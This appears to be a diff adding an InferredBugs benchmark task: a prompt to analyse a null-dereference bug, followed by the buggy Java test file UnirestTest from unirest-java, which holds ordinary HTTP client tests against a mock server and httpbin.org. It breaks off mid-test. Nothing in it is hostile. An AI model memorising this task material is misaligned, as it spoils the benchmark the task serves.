+dc678d91476904c7b1b2af11d980af71
+
+### Hash:
+dc357b3c4ab72771c78729f8026fe474
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6658/instruction.md b/inferredbugs-6658/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..38987d1537aa13bec7357618afbf494274038e3f
--- /dev/null
+++ b/inferredbugs-6658/instruction.md
@@ -0,0 +1,934 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** unirest-java
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+The MIT License
+
+Copyright for portions of OpenUnirest/uniresr-java are held by Mashape (c) 2013 as part of Kong/unirest-java.
+All other copyright for OpenUnirest/unirest-java are held by OpenUnirest (c) 2018.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+package io.github.openunirest.http;
+
+import io.github.openunirest.http.async.Callback;
+import io.github.openunirest.http.options.Options;
+import io.github.openunirest.request.body.MultipartBody;
+import io.github.openunirest.http.exceptions.UnirestException;
+import io.github.openunirest.request.GetRequest;
+import io.github.openunirest.request.HttpRequest;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.http.entity.ContentType;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.impl.nio.client.HttpAsyncClientBuilder;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.*;
+
+import java.io.*;
+import java.net.InetAddress;
+import java.net.URISyntaxException;
+import java.util.Arrays;
+import java.util.concurrent.*;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.junit.Assert.*;
+
+public class UnirestTest {
+
+	private CountDownLatch lock;
+	private boolean status;
+
+	@BeforeClass
+	public static void suiteSetUp(){
+		MockServer.start();
+	}
+
+	@AfterClass
+	public static void suiteTearDown(){
+		MockServer.shutdown();
+	}
+
+	@Before
+	public void setUp() {
+		MockServer.reset();
+		lock = new CountDownLatch(1);
+		status = false;
+	}
+
+	@Test
+	public void postFormReturnJson() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.POST)
+				.header("accept", "application/json")
+				.field("param1", "value1")
+				.field("param2", "bye")
+				.asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+
+		RequestCapture json = TestUtils.read(jsonResponse, RequestCapture.class);
+		json.assertHeader("Accept", "application/json");
+		json.assertQuery("param1", "value1");
+		json.assertQuery("param2", "bye");
+	}
+
+	@Test
+	public void canPassQueryParamsOnStringOrWithForm() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?name=mark")
+				.header("accept", "application/json")
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("name", "mark");
+
+		response = Unirest.get(MockServer.GETJSON)
+				.header("accept", "application/json")
+				.queryString("name", "mark2")
+				.asJson();
+
+		json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("name", "mark2");
+	}
+
+	@Test
+	public void multipleParams() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?name=ringo")
+				.header("accept", "application/json")
+				.queryString("name", "paul")
+				.queryString("name", "john")
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("name", "ringo");
+		json.assertQuery("name", "paul");
+		json.assertQuery("name", "john");
+	}
+
+	@Test
+	public void testGetUTF8() {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON)
+				.header("accept", "application/json")
+				.queryString("param3", "こんにちは")
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("param3", "こんにちは");
+	}
+
+	@Test
+	public void testPostUTF8() {
+		HttpResponse response = Unirest.post(MockServer.POST)
+				.header("accept", "application/json")
+				.field("param3", "こんにちは")
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("param3", "こんにちは");
+	}
+
+	@Test
+	public void testPostBinaryUTF8() throws URISyntaxException {
+		HttpResponse<JsonNode> response = Unirest.post(MockServer.POST)
+				.header("Accept", ContentType.MULTIPART_FORM_DATA.getMimeType())
+				.field("param3", "こんにちは")
+				.field("file", new File(getClass().getResource("/test").toURI()))
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("param3", "こんにちは");
+		json.getFile("test").assertBody("This is a test file");
+	}
+
+	@Test
+	public void testPostRawBody() {
+		String sourceString = "'\"@こんにちは-test-123-" + Math.random();
+		byte[] sentBytes = sourceString.getBytes();
+
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").body(sentBytes).asJson();
+
+		assertEquals(sourceString, response.getBody().getObject().getString("data"));
+	}
+
+	@Test
+	public void testCustomUserAgent() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get?name=mark").header("user-agent", "hello-world").asJson();
+		assertEquals("hello-world", response.getBody().getObject().getJSONObject("headers").getString("User-Agent"));
+
+		GetRequest getRequest = Unirest.get("http");
+		for (Object current : Arrays.asList(0, 1, 2)) {
+			getRequest.queryString("name", current);
+		}
+
+	}
+
+	@Test
+	public void testGetMultiple() throws JSONException, UnirestException {
+		for (int i = 1; i <= 20; i++) {
+			HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get?try=" + i).asJson();
+			assertEquals(response.getBody().getObject().getJSONObject("args").getString("try"), ((Integer) i).toString());
+		}
+	}
+
+	@Test
+	public void testGetFields() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", "mark").queryString("nick", "thefosk").asJson();
+		assertEquals(response.getBody().getObject().getJSONObject("args").getString("name"), "mark");
+		assertEquals(response.getBody().getObject().getJSONObject("args").getString("nick"), "thefosk");
+	}
+
+	@Test
+	public void testGetFields2() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("email", "hello@hello.com").asJson();
+		assertEquals("hello@hello.com", response.getBody().getObject().getJSONObject("args").getString("email"));
+	}
+
+	@Test
+	public void testQueryStringEncoding() throws JSONException, UnirestException {
+		String testKey = "email2=someKey&email";
+		String testValue = "hello@hello.com";
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString(testKey, testValue).asJson();
+		assertEquals(testValue, response.getBody().getObject().getJSONObject("args").getString(testKey));
+	}
+
+	@Test
+	public void testDelete() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.delete("http://httpbin.org/delete").asJson();
+		assertEquals(200, response.getStatus());
+
+		response = Unirest.delete("http://httpbin.org/delete").field("name", "mark").asJson();
+		assertEquals("mark", response.getBody().getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testDeleteBody() throws JSONException, UnirestException {
+		String body = "{\"jsonString\":{\"members\":\"members1\"}}";
+		HttpResponse<JsonNode> response = Unirest.delete("http://httpbin.org/delete").body(body).asJson();
+		assertEquals(200, response.getStatus());
+		assertEquals(body, response.getBody().getObject().getString("data"));
+	}
+
+	@Test
+	public void testBasicAuth() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/headers").basicAuth("user", "test").asJson();
+		assertEquals("Basic dXNlcjp0ZXN0", response.getBody().getObject().getJSONObject("headers").getString("Authorization"));
+	}
+
+	@Test
+	public void testAsync() throws JSONException, InterruptedException, ExecutionException {
+		Future<HttpResponse<JsonNode>> future = Unirest.post("http://httpbin.org/post").header("accept", "application/json").field("param1", "value1").field("param2", "bye").asJsonAsync();
+
+		assertNotNull(future);
+		HttpResponse<JsonNode> jsonResponse = future.get();
+
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+	}
+
+	@Test
+	public void testAsyncCallback() throws JSONException, InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").field("param1", "value1").field("param2", "bye").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				assertTrue(jsonResponse.getHeaders().size() > 0);
+				assertTrue(jsonResponse.getBody().toString().length() > 0);
+				assertFalse(jsonResponse.getRawBody() == null);
+				assertEquals(200, jsonResponse.getStatus());
+
+				JsonNode json = jsonResponse.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("value1", json.getObject().getJSONObject("form").getString("param1"));
+				assertEquals("bye", json.getObject().getJSONObject("form").getString("param2"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipart() throws JSONException, URISyntaxException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/test").toURI())).asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartContentType() throws JSONException, URISyntaxException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/image.jpg").toURI()), "image/jpeg").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("file").contains("data:image/jpeg"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartInputStreamContentType() throws JSONException, URISyntaxException, FileNotFoundException {
+		FileInputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+		MultipartBody request = Unirest.post(MockServer.HOST + "/post")
+            .header("accept", ContentType.MULTIPART_FORM_DATA.toString())
+			.field("name", "Mark")
+			.field("file", stream, ContentType.APPLICATION_OCTET_STREAM, "image.jpg");
+
+		HttpResponse<JsonNode> jsonResponse = request
+			.asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+
+		RequestCapture json = TestUtils.read(jsonResponse, RequestCapture.class);
+		json.assertHeader("Accept", ContentType.MULTIPART_FORM_DATA.toString());
+		json.assertQuery("name", "Mark");
+		assertEquals("application/octet-stream", json.getFile("image.jpg").type);
+
+
+//		assertTrue(json.getObject().getJSONObject("files").getString("type").contains("application/octet-stream"));
+//		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartInputStreamContentTypeAsync() throws JSONException, InterruptedException, URISyntaxException, FileNotFoundException {
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new FileInputStream(new File(getClass().getResource("/test").toURI())), ContentType.APPLICATION_OCTET_STREAM, "test").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipartByteContentType() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+		final InputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+		final byte[] bytes = new byte[stream.available()];
+		stream.read(bytes);
+		stream.close();
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", bytes, "image.jpg").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("file").contains("data:application/octet-stream"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartByteContentTypeAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+		final InputStream stream = new FileInputStream(new File(getClass().getResource("/test").toURI()));
+		final byte[] bytes = new byte[stream.available()];
+		stream.read(bytes);
+		stream.close();
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", bytes, "test").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipartAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, UnirestException {
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/test").toURI())).asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testGzip() throws JSONException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/gzip").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(json.getObject().getBoolean("gzipped"));
+	}
+
+	@Test
+	public void testGzipAsync() throws JSONException, InterruptedException, ExecutionException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/gzip").asJsonAsync().get();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(json.getObject().getBoolean("gzipped"));
+	}
+
+	@Test
+	public void testDefaultHeaders() throws JSONException {
+		Unirest.setDefaultHeader("X-Custom-Header", "hello");
+		Unirest.setDefaultHeader("user-agent", "foobar");
+
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+		assertEquals("hello", json.getObject().getJSONObject("headers").getString("X-Custom-Header"));
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("User-Agent"));
+		assertEquals("foobar", json.getObject().getJSONObject("headers").getString("User-Agent"));
+
+		jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+		assertEquals("hello", jsonResponse.getBody().getObject().getJSONObject("headers").getString("X-Custom-Header"));
+
+		Unirest.clearDefaultHeaders();
+
+		jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertFalse(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+	}
+
+	@Test
+	public void testSetTimeouts() throws IOException {
+		String address = "http://" + findAvailableIpAddress() + "/";
+		long start = System.currentTimeMillis();
+		try {
+			Unirest.get("http://" + address + "/").asString();
+		} catch (Exception e) {
+			if (System.currentTimeMillis() - start > Options.CONNECTION_TIMEOUT + 100) { // Add 100ms for code execution
+				fail();
+			}
+		}
+		Unirest.setTimeouts(2000, 10000);
+		start = System.currentTimeMillis();
+		try {
+			Unirest.get("http://" + address + "/").asString();
+		} catch (Exception e) {
+			if (System.currentTimeMillis() - start > 2100) { // Add 100ms for code execution
+				fail();
+			}
+		}
+	}
+
+	@Test
+	public void testPathParameters() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/{method}").routeParam("method", "get").queryString("name", "Mark").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("args").getString("name"), "Mark");
+	}
+
+	@Test
+	public void testQueryAndBodyParameters() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/{method}").routeParam("method", "post").queryString("name", "Mark").field("wot", "wat").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("args").getString("name"), "Mark");
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("form").getString("wot"), "wat");
+	}
+
+	@Test
+	public void testPathParameters2() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.patch("http://httpbin.org/{method}").routeParam("method", "patch").field("name", "Mark").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals("OK", jsonResponse.getStatusText());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("form").getString("name"), "Mark");
+	}
+
+	@Test
+	public void testMissingPathParameter() {
+		try {
+			Unirest.get("http://httpbin.org/{method}").routeParam("method222", "get").queryString("name", "Mark").asJson();
+			fail();
+		} catch (RuntimeException e) {
+			// OK
+		}
+	}
+
+	@Test
+	public void parallelTest() throws InterruptedException {
+		Unirest.setConcurrency(10, 5);
+
+		long start = System.currentTimeMillis();
+		makeParallelRequests();
+		long smallerConcurrencyTime = (System.currentTimeMillis() - start);
+
+		Unirest.setConcurrency(200, 20);
+		start = System.currentTimeMillis();
+		makeParallelRequests();
+		long higherConcurrencyTime = (System.currentTimeMillis() - start);
+
+		assertTrue(higherConcurrencyTime < smallerConcurrencyTime);
+	}
+
+	private void makeParallelRequests() throws InterruptedException {
+		ExecutorService newFixedThreadPool = Executors.newFixedThreadPool(10);
+		final AtomicInteger counter = new AtomicInteger(0);
+		for (int i = 0; i < 200; i++) {
+			newFixedThreadPool.execute(() -> {
+                try {
+                    Unirest.get(MockServer.HOST + "/get").queryString("index", counter.incrementAndGet()).asString();
+                } catch (UnirestException e) {
+                    throw new RuntimeException(e);
+                }
+            });
+		}
+
+		newFixedThreadPool.shutdown();
+		newFixedThreadPool.awaitTermination(10, TimeUnit.MINUTES);
+	}
+
+	@Test
+	public void testAsyncCustomContentType() throws InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/json").body("{\"hello\":\"world\"}").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				JsonNode json = jsonResponse.getBody();
+				assertEquals("{\"hello\":\"world\"}", json.getObject().getString("data"));
+				assertEquals("application/json", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testAsyncCustomContentTypeAndFormParams() throws InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/x-www-form-urlencoded").field("name", "Mark").field("hello", "world").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				JsonNode json = jsonResponse.getBody();
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+				assertEquals("world", json.getObject().getJSONObject("form").getString("hello"));
+
+				assertEquals("application/x-www-form-urlencoded", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testGetQuerystringArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", "Mark").queryString("name", "Tom").asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostMultipleFiles() throws JSONException, URISyntaxException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("param3", "wot").field("file1", new File(getClass().getResource("/test").toURI())).field("file2", new File(getClass().getResource("/test").toURI())).asJson();
+
+		JSONObject names = response.getBody().getObject().getJSONObject("files");
+		assertEquals(2, names.length());
+
+		assertEquals("This is a test file", names.getString("file1"));
+		assertEquals("This is a test file", names.getString("file2"));
+
+		assertEquals("wot", response.getBody().getObject().getJSONObject("form").getString("param3"));
+	}
+
+	@Test
+	public void testGetArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", Arrays.asList("Mark", "Tom")).asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("name", "Tom").asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostCollection() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", Arrays.asList("Mark", "Tom")).asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testCaseInsensitiveHeaders() {
+		GetRequest request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco");
+		assertEquals(1, request.getHeaders().size());
+		assertEquals("Marco", request.getHeaders().get("name").get(0));
+		assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+		assertEquals("Marco", request.getHeaders().get("Name").get(0));
+		JSONObject headers = request.asJson().getBody().getObject().getJSONObject("headers");
+		assertEquals("Marco", headers.getString("Name"));
+
+		request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco").header("Name", "John");
+		assertEquals(1, request.getHeaders().size());
+		assertEquals("Marco", request.getHeaders().get("name").get(0));
+		assertEquals("John", request.getHeaders().get("name").get(1));
+		assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+		assertEquals("John", request.getHeaders().get("NAme").get(1));
+		assertEquals("Marco", request.getHeaders().get("Name").get(0));
+		assertEquals("John", request.getHeaders().get("Name").get(1));
+	}
+
+	@Test
+	public void setTimeoutsAndCustomClient() {
+		try {
+			Unirest.setTimeouts(1000, 2000);
+		} catch (Exception e) {
+			fail();
+		}
+
+		try {
+			Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+		} catch (Exception e) {
+			fail();
+		}
+
+		try {
+			Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+			Unirest.setTimeouts(1000, 2000);
+			fail();
+		} catch (Exception e) {
+			// Ok
+		}
+
+		try {
+			Unirest.setHttpClient(HttpClientBuilder.create().build());
+			Unirest.setTimeouts(1000, 2000);
+			fail();
+		} catch (Exception e) {
+			// Ok
+		}
+	}
+
+	@Test
+	public void testObjectMapperRead() {
+		Unirest.setObjectMapper(new JacksonObjectMapper());
+
+		GetResponse getResponseMock = new GetResponse();
+		getResponseMock.setUrl("http://httpbin.org/get");
+
+		HttpResponse<GetResponse> getResponse = Unirest.get(getResponseMock.getUrl()).asObject(GetResponse.class);
+
+		assertEquals(200, getResponse.getStatus());
+		assertEquals(getResponse.getBody().getUrl(), getResponseMock.getUrl());
+	}
+
+	@Test
+	public void testObjectMapperWrite() {
+		Unirest.setObjectMapper(new JacksonObjectMapper());
+
+		GetResponse postResponseMock = new GetResponse();
+		postResponseMock.setUrl("http://httpbin.org/post");
+
+		HttpResponse<JsonNode> postResponse = Unirest.post(postResponseMock.getUrl()).header("accept", "application/json").header("Content-Type", "application/json").body(postResponseMock).asJson();
+
+		assertEquals(200, postResponse.getStatus());
+		assertEquals(postResponse.getBody().getObject().getString("data"), "{\"url\":\"http://httpbin.org/post\"}");
+	}
+
+	@Test
+	public void testPostProvidesSortedParams() throws IOException {
+		// Verify that fields are encoded into the body in sorted order.
